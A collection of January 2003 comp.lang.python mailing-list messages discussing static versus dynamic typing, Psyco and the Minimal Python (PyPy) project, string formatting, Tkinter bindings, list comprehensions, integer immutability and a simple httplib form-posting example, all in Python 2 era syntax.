Then, if I have 'Option Strict On' the compiler will throw an error:
-------------
Option Strict On disallows implicit conversions from 'String' to
'Double'.
-------------

If I have 'Option Strict Off' then at Runtime, I'll get:
-------------
An unhandled exception of type 'System.InvalidCastException' occurred in
microsoft.visualbasic.dll
Additional information: Cast from string "foo" to type 'Double' is not
valid.
-------------

If I change the assignment statement to:
'==============
    sResult = sName & nNumber
'==============
Then VB performs the conversion for me with no complaints.  This is
actually what I used to do in my VB6 code, but I've now changed my style
to use Option Strict and specfically perform the casts in my code, like
this:

'==============
     sResult = sName + CStr(nNumber)
'==============

The net result of this is that the program does exactly what I think it
is going to do, and the compiler tells me if I haven't been clear enough
in my intentions.  This obviously extends to function call paremeters,
etc.

(BTW - if I want dynamic typing in VB, I can have that too.  Just make
all my variable definitions "Object", and viola, dynamic typing (along
with the need to write the appropriate run-time error-checking code to
handle all of the issues that I would otherwise address at compile time
<vbg>).

> You are wrong about needing to write LOTS more error checking code
> at your function entry points, though.  What you need to do is
> write LOTS of unit tests, and acceptance tests, to catch these
> problems before you release.  But you do that anyway (right? ;-) )
> since the minimal checking your VB.NET compiler does cannot possibly
> catch the majority of problems in your code...

Well - it's confession time about my dirty little secret - no I don't
write all the unit tests and acceptance tests that I probably should in
order to catch all the problems in the applications I write - 1000
lashes with a wet noodle for me.  However, I don't see the need to
increase the amount these tests in order to catch stuff that the
compiler can otherwise find for me (when statically typed).  Also, I (1)
wonder how many folks really do this to the necessary degree in the all
of their apps (I haven't seen this kind or degree in test code in the
Python code that I've reviewed so far, and (2) unit testing something
for different conditions DOES NOT relieve you of the need to add error
checking code, and I have seen virtually none of the error checking code
I would expect in the stuff I've reviewed.  Does all your code check to
make sure that you are passed an integer instead of a float or a string?

Even better - in VB, I can do stuff like:
'==============
    Public Enum eUserLevel
        UserNone = 0
        UserEntry = 1
        UserReview = 2
        UserBilling = 3
        UserLayout = 4
        UserAdmin = 5
    End Enum

    Private Function Login(ByVal sName as string, ByVal sPassword as
string, ByVal UserLevel As eUserLevel) As Boolean
:
'==============

and it will do even tighter checking for me - that it is passed a
UserLevel instead of just a plain Integer.  This helps not only catches
incorrect function calls at compile time - it also helps document what's
happening in the code itself.  Now I'm not holding my breath waiting for
Guido to make Python a statically typed language (even optionally), but
I still don't get why dynamic typing is 'a good thing'.

I sometimes can't believe that I'm actually using Basic (cough, snort,
gag) to develop apps with, but I think that over the years, VB has
become a pretty decent tool.  Do I think that Python holds even more
promise, especially with its cross platform support? Yes - which is why
I'm looking at it.  But do I buy into the argument that all aspects of
it - particularly dynamic typing - are superior - no - at least not yet.

--
Greg






From wyojustin at hotmail.com  Sat Jan  4 20:43:49 2003
From: wyojustin at hotmail.com (Justin Shaw)
Date: Sat, 4 Jan 2003 20:43:49 -0500
Subject: Number format...
References: <892f1vc2o4fbfd023ottrjepv8344hpc9q@4ax.com> <a33f1vskqkol38pmcre2lusk1u0j4f2obc@4ax.com>
Message-ID: <it-dnbAFz4ZLEIqjXTWcpA@comcast.com>

"Afanasiy" <abelikov72 at hotmail.com> wrote in message
news:a33f1vskqkol38pmcre2lusk1u0j4f2obc at 4ax.com...
> On Sun, 05 Jan 2003 01:21:09 GMT, Afanasiy <abelikov72 at hotmail.com>
> wrote:
>
> >What do I need to do to convert .1352345 to '0.14' ?
> >
> >>>> repr(round(.1352345,2))
> >'0.14000000000000001'
>
> I found the answer...
>
>   str(round(0.1352345,2)) == '0.14'
>
> But have another question...
>
>   str(round(0.1001,2)) == '0.1'
>
> How do I pad with a zero now? ('0.10')

How about this?
>>> print '%.2f' % .1352345
0.14
>>> print '%.2f' % .1
0.10
>>>





From tismer at tismer.com  Tue Jan 14 21:01:06 2003
From: tismer at tismer.com (Christian Tismer)
Date: Wed, 15 Jan 2003 03:01:06 +0100
Subject: Seeking Minimal Python Project Name (was: [pypy-dev] Re: [ann]
    Minimal Python project)
In-Reply-To: <ppd92v4dsdds6cb1m7bn4uk15qdo51br4d@4ax.com>
References: <GCEDKONBLEFPPADDJCOEEEANHFAA.whisper@oz.net> <mailman.1042501897.17131.python-list@python.org> <ppd92v4dsdds6cb1m7bn4uk15qdo51br4d@4ax.com>
Message-ID: <3E24C0E2.5050904@tismer.com>

Christos TZOTZIOY Georgiou wrote:
> On Tue, 14 Jan 2003 00:50:13 +0100, rumours say that Christian Tismer
> <tismer at tismer.com> might have written:
> 
> 
>>David LeBlanc wrote:
>>
>>>Pyth.
>>
>>Sounds a bit like the winds after digesting Chili Con Carne :-)
> 
> 
> I can't find the start of the thread in my newsreader.  So, let me
> repeat the question before answering:
> 
> Q: What should the name of the Minimal Python project be?
> A: What, apart from Monty, you mean?
> 
> I thought it obvious... and probably I am not the only one.  Following
> suite with Jython and CPython, MPython seems appropriate at last :)

Sure it does, at least in the context of a "Minimal Python".
After all, this project turns out to be not *that* minimal
in the first place. It is of course aimed at the possibility
to downsize Python by removing whole classes of constructs.
But it also tries to be a full implementation of the existing
python, or even more than that.

Our final goal is to make Python self-contained, that means that
Python should implement itself, and it should no longer be
dependant of some C libraries, nor should its majority be
coded in C. The C part of this new Python will be put down
to the absolute minimum possible by a simple and portable
micro interpreter core. Everything else will be built on top of
this.
While this minimal interpretrer in C will be able to run on any
platform, this is only a matter of bootstrap and basic portability.
For every relevant platform, a real code generator will be developed,
which will hopefully create code that is comparably fast like the
C implementation. Furthermore, due to the dynamic techniques in
Psyco, we do hope to get it reasonably faster.

At least concerning our goals, this is not so much of a "Minimum" :-)

ciao - chris





From tdelaney at avaya.com  Mon Jan 27 22:49:42 2003
From: tdelaney at avaya.com (Delaney, Timothy)
Date: Tue, 28 Jan 2003 14:49:42 +1100
Subject: More usenet usage statistics, by programming language 
Message-ID: <B43D149A9AB2D411971300B0D03D7E8B02ADBE48@natasha.auslabs.avaya.com>

> From: Laura Creighton [mailto:lac at strakt.com]
> 
> If we want to make the volume in this newsgroup go up, just 
> post something
> that is _wrong_.  Or claim that vi is superior to emacs or vice-versa.
> Or ask people what their favourite <anything> is.  Or write a note
> claiming that Lisp is only used by fools and the mentally unstable and
> make sure that the readers of comp.lang.lisp hear about it. <wink>

You forgot "Why is [Ruby|Perl|Lisp|Pascal|...] better than Python?" ;)

Tim Delaney




From cuniREMOVE_THIS at programmazione.it  Mon Jan  6 10:17:54 2003
From: cuniREMOVE_THIS at programmazione.it (Antonio Cuni)
Date: Mon, 06 Jan 2003 15:17:54 +0000
Subject: Tkinter keybindings
Message-ID: <3n6cva.n64.ln@anto.cuni.lan>

Probably this is a simple problem, but I don't know how to solve it;
I have a simple Tkinter window containing some Entry'es and a Text 
widget.
When the focus is on an Entry pressing <TAB> moves the focus on the next 
widget, and this is fine. But when the Text is focused a <TAB> inserts a 
tabulation into the widget, without moving the focus: how can I simulate 
the usual behaviour?
I tried to play with bind, but without any noticeable results :-(

thanks in advance

ciao Anto
-- 
"Computer science is not about computers any more than astronomy
is about telescopes." -- EW Dijkstra



From paul at boddie.net  Fri Jan 10 07:51:38 2003
From: paul at boddie.net (Paul Boddie)
Date: 10 Jan 2003 04:51:38 -0800
Subject: These are discouraging stats to Perlistas & Pythonistas...
References: <776e0325.0301070721.7405a312@posting.google.com> <S5GS9.5881$qU5.4697503@newssrv26.news.prodigy.com> <avfkpp$a7n$1@nyheter.chalmers.se>
Message-ID: <23891c90.0301100451.310246d5@posting.google.com>

jacob at cd.chalmers.se (Jacob Hallen) wrote in message news:<avfkpp$a7n$1 at nyheter.chalmers.se>...
> 
> An interesting thought is wether the 55 Python programmers will produce
> more useful applications than the 2037 VB programmers.

It gets even more interesting if you take monkeys and typewriters into
consideration.

Paul



From tismer at tismer.com  Mon Jan 13 18:35:26 2003
From: tismer at tismer.com (Christian Tismer)
Date: Tue, 14 Jan 2003 00:35:26 +0100
Subject: Stackless Python, Tail Recursion and Functional Programming
In-Reply-To: <200301110701.h0B71kjL023043@ratthing-b246.strakt.com>
References: <5.1.0.14.0.20030111011527.021ee5e0@mail.thewebsons.com> <200301110701.h0B71kjL023043@ratthing-b246.strakt.com>
Message-ID: <3E234D3E.8060203@tismer.com>

Laura Creighton wrote:
> Christian Tismer is the man responsible for Stackless.
> 
> You will be interested in this new announcement:
> 
> http://mail.python.org/pipermail/python-announce-list/2003-January/001964.html

Hee hee, ach nee! :-)

> So you could reinforce your idea 'something that does tail recursions
> would be nice'...

Tail recursion is not an objective of Stackless
Python. Stackless Python is moving all recursions
onto the heap. It is of course possible to modify
this heap and to fold tail recursions away.
I'd be interested in sample code for this.

Anyway, I've never seen some code using tail
recursion that was valuable enough to support
a change to Python. But I may be convinced.

ciao - chris





From jimmy at retzlaff.com  Tue Jan 14 08:11:00 2003
From: jimmy at retzlaff.com (Jimmy Retzlaff)
Date: Tue, 14 Jan 2003 05:11:00 -0800
Subject: [ann] Minimal Python project
Message-ID: <A7B5C22F20EE3C4E95744E2F03F1887F0F1C76@MAYOR.retzlaff.com>

Edward K. Ream wrote:
>...
>The essence of what psyco is doing in this example is (cleverly!)
>discovering the types of Python objects and generating code to handle
>_those particular type of objects_.  A C compiler has no need of
>cleverness: the C programmer declares the types of those objects.  Thus
a C
>compiler starts out with the information that psyco must discover at
run
>time.
>...

Before I tried Psyco for the first time, I'd had a function that
performed unacceptably slowly in Python. It was nothing more than loop
with a series of comparisons and arithmetic on numbers - no advanced
data types, no explicit memory management, and no calls to other
functions. I had re-implemented it in C and was quite happy with the
resulting performance, if not the pain of having to maintain C code in
my application. When I tried Psyco, I thought it would be interesting to
see how close Psyco could come to the performance of my C function. When
I put the Python version of the function back into my application and
set Psyco loose on it, I was shocked to find it performing more than 2x
faster than the C version. I had to investigate...

What I concluded was that Psyco does have access to more information at
runtime than a compile-time optimizer. The source of the speed-up was
that Psyco knew how I was using my function while C just knew how I
declared it. In C, I used doubles for the parameters and local
variables. This was necessary because I need to call the function with
floating point values in my application. As it turns out, >95% of the
usage in my application is with integers. Psyco created two specialized
versions of my function - one for use with integers and another for use
with floating point numbers. The integer version was >2x faster than the
C version that used doubles. Out of curiosity I tested a C version that
was all ints and it was 2x faster than the Psyco integer version - but
with C I'd have to discover this usage on my own and then write and
maintain two separate versions of the function in order to beat Psyco's
speed and maintain the flexibility I needed, something I never would
have done.

So in my real world case, Python code with Psyco was faster than the
equivalent code in C. That's not to say that a faster alternative
couldn't be created in C, but that a faster version in C wouldn't have
been created because it would have required significantly more time
spent profiling and analyzing code (after already spending significantly
more time writing the code in the first place).

Optimizing compilers only have the information in the code at their
disposal - that's why they need all the information they can get in the
code (e.g., type information, hints/pragmas, etc.). A runtime optimizer
has the entire runtime environment to look at, including real world data
and actual type usage (rather than anticipated type usage). In fact,
static typing can even be a hindrance. In my case above, even a runtime
optimizer wouldn't have helped my floating point C code because my
integer data would have been promoted to doubles before the function was
called, and hence the integer optimizations would no longer be
available.

>...
>P.S.  Just for the record let me try to be as clear as possible.  Even
the
>most useful, interesting and clever engineering techniques have areas
in
>which they apply and areas in which they do not apply.  I have simply
been
>pointing out that psyco can not improve _all_ C code.  This is actually
a
>weak and not-very-interesting statement.  (And it was not, I think, the
>meaning intended in the original announcement.)  Again: psyco promises
to
>be of great benefit to all Python programmers.
>...

I agree!

Jimmy

p.s. -
Just imagine someone someday saying: C is fine for most of your
programming tasks, but for those time critical tight inner loops you
should use Python for performance reasons. Statically typed code just
can't be optimized for performance the way dynamically typed code can
be. :)




From gmuller at worldonline.nl  Sun Jan  5 15:17:31 2003
From: gmuller at worldonline.nl (GerritM)
Date: Sun, 5 Jan 2003 21:17:31 +0100
Subject: new years resolutions
References: <mailman.1041550805.3550.python-list@python.org> <x77kdm98f8.fsf@guru.mired.org> <3E159EC6.CC98EB08@engcorp.com> <mailman.1041641110.13072.python-list@python.org> <3E164F92.58798556@engcorp.com> <2292.3e16c91f.9dd65@basilisk> <1041705923.6001.32.camel@x1-6-00-04-5a-64-c4-03> <200301041905.h04J5njL016319@ratthing-b246.strakt.com> <1041709986.3565.90.camel@x1-6-00-04-5a-64-c4-03> <mailman.1041715268.3272.python-list@python.org> <2259b0e2.0301051011.5ba2ff3e@posting.google.com> <mailman.1041794830.7571.python-list@python.org>
Message-ID: <ava41b$q1h$1@reader1.tiscali.nl>


--
www.extra.research.philips.com/natlab/sysarch/
<...snip...>
"Laura Creighton" <lac at strakt.com> schreef in bericht
news:mailman.1041794830.7571.python-list at python.org...
> > Now, if I may ask a personal question, what you didn't like in
science/academ
> > ia ?
>
> This is just off the top of my head....
>
<snipped uncommented issues>
> 3. believing that teaching is something that comes naturally.  No effort
>    is made to train professors on how to teach well.  This is a trainable
>    skill.

unfortunately it is only trainable if sufficient teaching potential is
present,
many people will never become good teachers :-(

> 4. in some places -- forcing people to teach so that you cannot simply do
>    research all the time if you hate teaching.  in other places, getting
>    rid of or valuing less the great teachers, because their research isn't
>    so hot.  Many places do both, of course.

teaching is often regarded as a burden, which has to be fairly distributed.
This is completely the wrong attitude, but it explains your experience.

> 6. Classroom teaching as opposed to Master/Apprentice type relationships.

very complementary ways of teaching, both of them are needed.
Unfortunately master apprenticeships are not always easy tor ealize in
academic settings.

> 9. A life focused on Grading people.  Making grades, not knowledge or
>    wisdom the important centre of the universe.

yes, again wrong attitude. Note that in general the trend is in the wrong
direction,
performance contracts focusing on easily measurable numbers (#grades),
instead of tru goal (accumulated and shared wisdom), see 25!

> 25. Focusing on that which can be measured (in itself a good thing, and
>     the secret of Western success) but not to the extent where that
>     which cannot be measured is deemed unimportant, or even non-existant.

> Laura
>
nice list! regards Gerrit





From phr-n2002b at NOSPAMnightsong.com  Sun Jan 12 23:41:15 2003
From: phr-n2002b at NOSPAMnightsong.com (Paul Rubin)
Date: 12 Jan 2003 20:41:15 -0800
Subject: Seeking Minimal Python Project Name (was: [pypy-dev] Re: [ann] Minimal Python project)
References: <7x8yxqduco.fsf@ruckus.brouhaha.com> <mailman.1042209749.31180.python-list@python.org> <FOIT9.121090$Hs2.11398609@kent.svc.tds.net> <7xr8bjgz4x.fsf@ruckus.brouhaha.com> <mailman.1042326208.15022.python-list@python.org> <7x4r8ej1r9.fsf@ruckus.brouhaha.com> <mailman.1042393464.20506.python-list@python.org> <7x8yxqduco.fsf@ruckus.brouhaha.com> <5.0.2.1.1.20030112185911.00a7a6d0@mail.oz.net> <mailman.1042427842.32098.python-list@python.org> <7xk7h9hddg.fsf@ruckus.brouhaha.com>
Message-ID: <7xr8bhu0es.fsf@ruckus.brouhaha.com>

Paul Rubin <phr-n2002b at NOSPAMnightsong.com> writes:
> > Anyone having some good suggestions?
> 
> I think you should call it PEP (for "Portability-Enhanced Python" or
> something like that).  Just think of the confusion that would result ;-).

Another name I've liked is "Piton", sort of an Alpinist, high-altitude
version of Python.



From abelikov72 at hotmail.com  Thu Jan  9 01:52:47 2003
From: abelikov72 at hotmail.com (Afanasiy)
Date: Thu, 09 Jan 2003 06:52:47 GMT
Subject: Do pythons like sugar?
Message-ID: <6u6q1vk7dgjps43t0uuk8eut1ghlgnoc71@4ax.com>

I've written this method for a text formatting class...
But it's ugly as sin. With all those self's I consider
it much less readable than it could be...

A few languages provide syntax sugar for dealing with
this by allowing you to localize the class scope.

Does Python? eg. `with self do:`

  def format( self, width=80 ):    
    self.lines = ['']
    i = 0
    for word in self.text.split():  
      if self.textwidth(self.lines[i]) + self.textwidth(word) <= width:
        if self.textwidth(self.lines[i]) > 0:
          self.lines[i] += ' '
        self.lines[i] += word
      else:
        i += 1
        self.lines.append(word)




From tjreedy at udel.edu  Wed Jan  8 09:30:13 2003
From: tjreedy at udel.edu (Terry Reedy)
Date: Wed, 8 Jan 2003 09:30:13 -0500
Subject: Novel Thoughts on Scripting and Languages
References: <52719db8.0301062130.5299a0ff@posting.google.com> <mailman.1041979908.27085.python-list@python.org> <52719db8.0301071942.7d23cc46@posting.google.com>
Message-ID: <_aidncfu-8LtqIGjXTWc3A@comcast.com>

"James Huang" <judoscript at hotmail.com> wrote in message > I've heard
big software projects done in Python, guess that's what you
> are referring to. Being a C/C++/Java guy, it is hard for me to
imagine
> creating big software with weakly-typed languages beyond
prototyping.

If you are refering to Python as 'weakly-typed', you are mistaken.
Except for some class instances, Python objects have fixed types.  No
'casting' allowed.  Even the exceptions are limited.  If you try to
understand Python from a C/C++ mindset (which is where I also came
from), you will fail.

TJR





From Padraig at Linux.ie  Tue Jan 28 11:54:23 2003
From: Padraig at Linux.ie (Padraig at Linux.ie)
Date: Tue, 28 Jan 2003 16:54:23 +0000
Subject: sort by last then by first
In-Reply-To: <b16b0f$as5$1@slb0.atl.mindspring.net>
References: <1964c4d7.0301271648.18dba0b3@posting.google.com> <3E362DDB.2020603@hotmail.com> <sssZ9.94053$0v.2742655@news1.tin.it> <3E365531.3090909@Linux.ie> <b1607o$2iq$1@slb5.atl.mindspring.net> <3E368C10.3050000@Linux.ie> <b16b0f$as5$1@slb0.atl.mindspring.net>
Message-ID: <3E36B5BF.4060700@Linux.ie>

Andrew Dalke wrote:
> Padraig at Linux.ie wrote:
> 
>> Andrew Dalke wrote:

[snip]

>> Yes you're probably right that gnu sort has too much baggage.
>> How about passing a tuple like: ("1(r)","0(n)")
>> This would first reverse sort on second "column" and
>> then forward sort on first column treating strings as numeric
> 
> Python objects are strongly typed so there it no need to say
> "treating strings as numeric".  The values should be numbers in
> the first place.

I was suggesting this as a way to auto convert data that
was already in string format. For e.g. if importing tabular
data, using split, then you get all string fields. Actually
it would be good if you could pass to split what format the
fields are, something like:

line.split('\t',4,(str,int,float,str))

> If you want an option to do so, you need to
> allow that float and int types have different ranges, eg,

not too sure what you mean, but you're probably right
in that type info shouldn't be passed in.

>>> 5) Doesn't handle the more common case of sorting by
>>> attribute name.
>>
>> ("attr2(r)", "attr1(n)")
> 
> 
> Why not just write this as Python code?

speed

P?draig.




From max at alcyone.com  Wed Jan 29 22:17:35 2003
From: max at alcyone.com (Erik Max Francis)
Date: Wed, 29 Jan 2003 19:17:35 -0800
Subject: best way to do some simple tasks
References: <c42e062e.0301291531.6a656e4@posting.google.com>
Message-ID: <3E38994F.2163DCDF@alcyone.com>

Erik Lechak wrote:

> 1) String interpolation of lists and dictionaries
>    What is the correct and best way to do this?
>    x =[1,2,3,4]
>    print "%(x[2])i blah" % vars() # <- does not work

There are many templating systems that can do this sort of thing for
you, but there's no direct (builtin) way to do this in Python.  In
short, that's not what the format specifiers are for.

> 2) Perform a method on each element of an array
>    a= ["  hello  ",  "  there  "]
> 
>    how do I use the string's strip() method on each element of the
> list?
> 
>    a = map((lambda s: s.strip()), a) # looks ugly to me
> 
>    for e in a:                       # this looks even worse
>       temp.append(e.strip())
>    a=temp

	a = [x.strip() for x in a]

> 3) What is the best way to do this?
> 
>    a=[1,2,3]
>    b=[1,1,1]
> 
>    how do I get c=a+b (c=[2,3,4])?

	[x + y for x, y in zip(a, b)]

>    If I wanted to use reduce(), how do I shuffle the lists?

I'm not sure what you're asking here.

> 4) Why does this work this way?
>    d=[1,2,3,4,5]
>    for h in d:
>       h+=1
>    print d
>    >>>[1, 2, 3, 4, 5]
> 
>    Is there a python reason why h is a copy not a reference to the
> element in the list?  In perl the h would be a ref.

Python is not Perl.  This doesn't work because integers (as well as some
other fundamental objects) are immutable, so you're getting a reference
to the object but you can't do anything with it.  When you write h += 1,
what you're really doing is rebinding the (local) variable h with a
brand new object:

>>> h = 1
>>> id(h)
135297120
>>> h += 1
>>> id(h)
135297096

For immutable objects, x += y is the same as x = x + y, and the x + y
creates a new object.  To translate that code to Python, you'd probably
want to use a list comprehension:

	d = [x + 1 for x in d]

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ The work will teach you how to do it.
\__/ (an Estonian proverb)
    Python chess module / http://www.alcyone.com/pyos/chess/
 A chess game adjudicator in Python.



From tismer at tismer.de  Sat Jan 11 18:04:00 2003
From: tismer at tismer.de (Christian Tismer)
Date: Sun, 12 Jan 2003 00:04:00 +0100
Subject: [ann] Minimal Python project
In-Reply-To: <7xr8bjgz4x.fsf@ruckus.brouhaha.com>
References: <mailman.1042209749.31180.python-list@python.org> <FOIT9.121090$Hs2.11398609@kent.svc.tds.net> <7xr8bjgz4x.fsf@ruckus.brouhaha.com>
Message-ID: <3E20A2E0.60801@tismer.de>

Paul Rubin wrote:
> "Edward K. Ream" <edream at tds.net> writes:
> 
>>I am inclined to disbelieve this claim.  Why should Psycho be able to do
>>better than an optimizing C compiler applied to hand-written interpreter
>>code and/or library code?  The only possibilities I can think of:
>>
>>1. The GIT somehow has access to enough run-time information to perform some
>>truly excellent optimizations.
>>2. The granularity of the data processed by the GIT somehow is big enough to
>>again affect some excellent optimizations.
>>3. There are other marvelous optimizations, unknown to me and available
>>neither to Guido nor to an optimizing compiler that can be applied.
> 
> 
> Fourth possibility: The CPython implementation, while highly flexible,
> is not especially fast, and a faster interpreter can be written by
> using different implementation techniques.  Also, it wasn't clear to
> me but perhaps Minimal Python will include a native-code compiler
> (Psyco-based or otherwise).

CPython is optimized towards portability, not speed.
The algorithms are clean and fast, but like every
implementation, it is written as one big compromize.
The C code base cannot adapt itself to changed
runtime demands.

With a generic approach like Psyco, there are
optimizations and specializations possible, where
a C programmer wouldn't even think of, or would
simply hesitate to implement, since this would
make the code so much harder to maintain.

For my planning (which is just where I'd like to
go, but maybe the group will decide otherwise),
there will be a native compiler version for every
platform, finally.
But I'm also thinking of a generic virtual machine,
modelled after Knuth's MMIX engne, which should
run on any platform.

> I've had the idea for a while that a "minimal" Python should actually
> include some language extensions to improve execution speed.  For
> example, being able to declare local variables and give type advice to
> the compiler (like Lisp systems do) can make it possible to early-bind
> class methods and slots to their callers.  That can avoid an awful lot
> of dictionary lookups and speeds things up considerably.

This is the very last thing I'm thinking of.
In the first place, I want to go as far as possible
with runtime deducible conclusions. When that
principle gets stuck, we should consider to
implement hints.

ciao - chris

-- 
Christian Tismer             :^)   <mailto:tismer at tismer.com>
Mission Impossible 5oftware  :     Have a break! Take a ride on Python's
Johannes-Niemeyer-Weg 9a     :    *Starship* http://starship.python.net/
14109 Berlin                 :     PGP key -> http://wwwkeys.pgp.net/
work +49 30 89 09 53 34  home +49 30 802 86 56  pager +49 173 24 18 776
PGP 0x57F3BF04       9064 F4E1 D754 C2FF 1619  305B C09C 5A3B 57F3 BF04
      whom do you want to sponsor today?   http://www.stackless.com/






From whit at shaftnet.org  Sun Jan 26 12:38:34 2003
From: whit at shaftnet.org (Whit Whitfield)
Date: 26 Jan 2003 09:38:34 -0800
Subject: beating a dead horse: automated form submission
References: <b0e655d.0301251204.5b7415e5@posting.google.com> <3E32EFD8.D00D4656@engcorp.com>
Message-ID: <b0e655d.0301260938.14265877@posting.google.com>

Peter Hansen <peter at engcorp.com> wrote in message
news:<3E32EFD8.D00D4656 at engcorp.com>...
> To help you further, I'd have to see what you've been trying.  Can you
> not post a snippet or two of your code for us to review?

Well I'm tinkering with the snippet from the FAQ and trying it out on
www.musi-cal.com's little query page.  Here's the code:


#!/usr/local/bin/python

import httplib, sys, time

### build the query string
qs = "First=Josephine&amp;MI=Q&amp;Last=Public"
### connect and send the server a path
httpobj = httplib.HTTP('www.musi-cal.com', 80)
httpobj.putrequest('POST', '/cgi-bin/query')
### now generate the rest of the HTTP headers...
httpobj.putheader('Accept', '*/*')
httpobj.putheader('Connection', 'Keep-Alive')
httpobj.putheader('Content-type', 'application/x-www-form-urlencoded')
httpobj.putheader('Content-length', '%d' % len(qs))
httpobj.endheaders()
httpobj.send(qs)
### find out what the server said in response...
reply, msg, hdrs = httpobj.getreply()
if reply != 200:
    sys.stdout.write(httpobj.getfile().read())

... When I tried this it crashed WinPython :)

Thanks for any help!  -whit



From tjreedy at udel.edu  Fri Jan 10 18:35:54 2003
From: tjreedy at udel.edu (Terry Reedy)
Date: Fri, 10 Jan 2003 18:35:54 -0500
Subject: generator language design
References: <avnbsv$8lp$1@camelot.ccs.neu.edu>
Message-ID: <q_2cnSaW6ZxxxIKjXTWc3g@comcast.com>

"Johan Ovlinger" <johan at ccs.neu.edu> wrote in message
news:avnbsv$8lp$1 at camelot.ccs.neu.edu...
> Hello!
>
> I apologise for not posting to python-iterators, but the archives to
that list
> appear to be down, so it is unclear whether it is still active.

It served its purpose.

>  Most discussion about this issue happened 18 months ago, it seems.

That is when current scheme was designed.


> anyways, I was hoping someone could point me to the design rationale
behind
> defining generators to look like functions, rather than having
Generator be a
> subclass of Iterator, and letting the user subclass Generator to
create new
> generators?

Current design makes .next() calls to generator-iteraters *faster*
than a function call.  No argument processing, no frame setup.  Your
design would substitute for this *two* regular function calls.

Terry J. Reedy





From tjreedy at udel.edu  Tue Jan 14 13:13:15 2003
From: tjreedy at udel.edu (Terry Reedy)
Date: Tue, 14 Jan 2003 13:13:15 -0500
Subject: newbie looking for help, int reference question
References: <pan.2003.01.14.19.07.19.38207.2750@zonnet.nl>
Message-ID: <VUidnU4nroY5zrmjXTWcoA@comcast.com>

CC'ed
"jodocus" <johocus at zonnet.nl> wrote in message
news:pan.2003.01.14.19.07.19.38207.2750 at zonnet.nl...
> i am learning python, but at the moment i cannot afford to buy a
book on
> the subject. So i am trying to find all the appropriate information
on the
> web. This proves difficult, so if anyone knows a good (complete)
online
> book/resource about the language, i would like to know. I am looking
for
> more than just a tutorial (these are not hard to find), but rather a
> complete work that describes the details of the language.

The Python Reference Manual and Library Reference Manal together do
this.

> A thing I just ran into and couldn't find in the tutorials i am
using:
>
> >>> i = 10
> >>> j = i
> >>> i is j
> 1
> >>> i += 10
> >>> i
> 20
> >>> j
> 10
>
> it seems that, after adding a value, i has become another object.

'i' is not an object.  It is a name bound to an object (via a
'reference'). The second assignment unbinds it from 10 and rebinds it
to 20.  All assignments do an implicit 'if currently bound, unbind'
before doing the binding requested.

> So i guess the + operator makes a new object,

Here you mean +=.  If the object is immutable, yes.  Otherwise, (ie,
for lists) no.

> does this mean that ints are 'immutable'?

Yes.   Good deduction.  But read the manuals for more.

> How do i make sure that j changes when i does?

If you mean "How do I make sure j is rebound when i is?", you can't.
However, if i and j are bound to the same *mutable* object, then a
change to the object is a change to the object regardless of how you
access it..  Try

i=[10]
j=i
i[0]+=10
j # answer below

> Is this  comparable to the Java distinction between objects and
> primitive types,  where objects are referenced but primitives are
not?

In Python, everything is an object with a reference count.  References
can be named or anonymous (as in list and dict slots).

> As a C/C++ programmer i really like to know whether i am dealing
with
> pointers or not, this makes me feel more sure about the correctness
of the
> code i am writing.

CPython implements references as C pointers.  Human interpreters do
not (unless mentally simulating the linear memory of a computer).  So
take your pick.  You can use your understanding of C/C++ to understand
the computer execution of Python as long as you remember that Python
is not C and, in particular, that its abstract data model is quite
different.

Terry J. Reedy

PS. j == [20]
Note that there is still is a rebinding -- of slot 0 withing the list.





From peter at engcorp.com  Tue Jan  7 11:50:24 2003
From: peter at engcorp.com (Peter Hansen)
Date: Tue, 07 Jan 2003 11:50:24 -0500
Subject: These are discouraging stats to Perlistas & Pythonistas...
References: <776e0325.0301070721.7405a312@posting.google.com> <VfDS9.4230$Fj2.2514015@news2.news.adelphia.net>
Message-ID: <3E1B0550.4A06B801@engcorp.com>

Robert Oschler wrote:
> 
> I can't look at dice.com anymore, too depressing.  Some appx stats:
> 
> Date    C++ jobs    Java jobs
> 
> 3/2000    42000    31000
> 10/2003    2200    2800
> 
> That's right, almost a 20 to 1 loss of job reqs in C++, and 10 to 1 in Java.
> Also note, Java is now in the lead over C++
> 
> I hate the dot-bust.

Maybe these stats say more about dice.com itself than about the 
state of the economy.  Are the numbers reflected in other sites?
Or is dice.com *the* place to go, so we can take it as representative?

-Peter



From BPettersen at NAREX.com  Wed Jan 29 19:28:02 2003
From: BPettersen at NAREX.com (Bjorn Pettersen)
Date: Wed, 29 Jan 2003 17:28:02 -0700
Subject: int('0.0') throws an exception
Message-ID: <60FB8BB7F0EFC7409B75EEEC13E2019201BFE2F1@admin56.narex.com>

> From: Ragu Bharadwaj [mailto:Ragu.Bharadwaj at amphoracorp.com] 
> 
> Why is it that
> int('0') and int(0.0) are OK but int('0.0') throws an Exception?

It behaves exactly as documented (Library Ref. 2.1): "If the argument is
a string, it must contain a possibly signed decimal number representable
as a Python integer...". Basically, it is only doing a one-step
conversion (whereas "3.14" -> 3.14 -> 3 would be a two-step conversion).
You can easily get the functionality you expect by:

  x = int(float('3.14'))

-- bjorn




From BPettersen at NAREX.com  Mon Jan  6 14:57:40 2003
From: BPettersen at NAREX.com (Bjorn Pettersen)
Date: Mon, 6 Jan 2003 12:57:40 -0700
Subject: Distributing Python apps
Message-ID: <60FB8BB7F0EFC7409B75EEEC13E2019201BFDEAD@admin56.narex.com>

> From: Just van Rossum [mailto:just at letterror.com] 
> 
> Bjorn Pettersen wrote:
> 
> [modulefinder.py]
> > Coolness :-) Let's see someone do that in C++ <grin>. What kind of 
> > documentation are you looking for? (end user, packager developer,
doc
> > strings...)
> 
> Doc strings would be great, but a (probably relatively brief) 
> chapter for the std library documentation is probably the 
> biggest chunk of work that needs to be done. It's a very old 
> module, so the API is rather, erm, weird... It's simple to 
> use for simple cases, but it gets a little awkward if you 
> want to feed it modules manually. If you think you can 
> contribute anything that would be fantastic!

I've got a micro release tonight, but I should have some time while it's
compiling. I'll see what I can come up with.

-- bjorn




From mwh at python.net  Mon Jan 27 10:19:46 2003
From: mwh at python.net (Michael Hudson)
Date: Mon, 27 Jan 2003 15:19:46 GMT
Subject: determining method type (instance, static, class)
References: <yfsk7grpms1.fsf@black132.ex.ac.uk>
Message-ID: <7h3ptqi39je.fsf@pc150.maths.bris.ac.uk>

Alexander Schmolck <a.schmolck at gmx.net> writes:

> How can one determine whether a method .foo is a normal instance
> method or a classmethod or a staticmethod?

Using isinstance.  Why do you want to know?

Cheers,
M.

